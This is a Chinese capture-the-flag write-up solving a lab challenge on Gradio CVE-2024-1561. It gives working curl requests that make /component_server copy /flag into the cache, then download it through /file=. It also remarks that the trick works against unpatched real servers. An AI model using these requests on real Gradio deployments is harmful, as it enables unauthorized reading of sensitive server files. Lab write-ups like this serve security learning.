【玄机靶场】Gradio 任意文件读取 (CVE-2024-1561) 解题记录
题目:Gradio(CVE-2024-1561)
标签:渗透测试、简单、任意文件读取
Flag:flag{41dbfe4a-92f9-4d18-a36b-2d5d5baefe8d}
今天在玄机靶场刷题,碰到了这道 Gradio 的 CVE-2024-1561。之前做过一道 Gradio 的 CVE-2023-51449(路径穿越),本来以为这俩差不多,结果一上手发现利用思路完全不一样,踩了点坑,顺便记录一下。
0x01 漏洞简析
Gradio 4.13.0 以下版本有个 /component_server 接口,这玩意儿是用来处理组件内部请求的。问题出在它没有对 fn_name 参数做白名单限制。
里面有个方法叫 move_resource_to_block_cache,本来是用来把正常资源挪到缓存目录里的。但因为它不检查 data 参数(源文件路径)到底合不合法,我们就可以直接把服务器上的敏感文件(比如 /flag)当成资源传进去。
服务器一顿操作猛如虎,直接把 /flag 复制到了它的临时缓存目录(/tmp/gradio/xxx/),然后把新路径返回给我们。接着我们再用正常的 /file= 路由去下载这个缓存文件,就直接拿到 flag 了。典型的“借刀杀人”。
0x02 实战复现
靶机启动后,给了个 IP 52.82.5.111,端口是 Gradio 祖传的 7860。
第一步:确认版本和组件 ID
先看一眼版本对不对得上:
curl -s http://52.82.5.111:7860/config | grep -oP '"version":"[^"]+"'
返回 "version":"4.12.0",稳了,确实在受影响范围内。顺便在 config 里瞟了一眼,页面里有个 id 为 1 的 textbox 组件,这个 id 后面要用。
第二步:忽悠服务器搬运文件
重头戏来了。直接往 /component_server 发个 POST 请求,让它把 /flag 挪到缓存里。
这里的坑点是:data 参数必须是个字符串!一开始我传了个字典进去,服务器直接给我甩了个 500 错误,排查了半天才反应过来。session_hash 随便编一个就行,它不校验。
Payload 如下:
curl -s -X POST http://52.82.5.111:7860/component_server \\
-H "Content-Type: application/json" \\
-d '{
"component_id": 1,
"data": "/flag",
"fn_name": "move_resource_to_block_cache",
"session_hash": "hacker123"
}'
发过去之后,服务器老老实实回了一串路径:
"/tmp/gradio/facec0b37883e394867488540fde88ad569e4ce4/flag"
第三步:顺手牵羊拿 Flag
既然文件已经到了合法的下载目录里,直接用 /file= 路由去拿就行了:
curl -s "http://52.82.5.111:7860/file=/tmp/gradio/facec0b37883e394867488540fde88ad569e4ce4/flag"
回显直接出货:
flag{41dbfe4a-92f9-4d18-a36b-2d5d5baefe8d}
搞定收工。
0x03 碎碎念
对比一下之前那道 CVE-2023-51449,那个是纯纯的路径穿越,靠 %2F 绕过检查直接去读文件。而这个 CVE-2024-1561 更有意思一点,是利用了框架自带的方法,把目标文件“搬”到了安全区域再读,属于是 API 滥用导致的越权。
官方在 4.13.0 版本里把这个洞修了,加了严格的白名单,所以实战中碰到 4.13 以下的 Gradio,这招还是非常好使的。

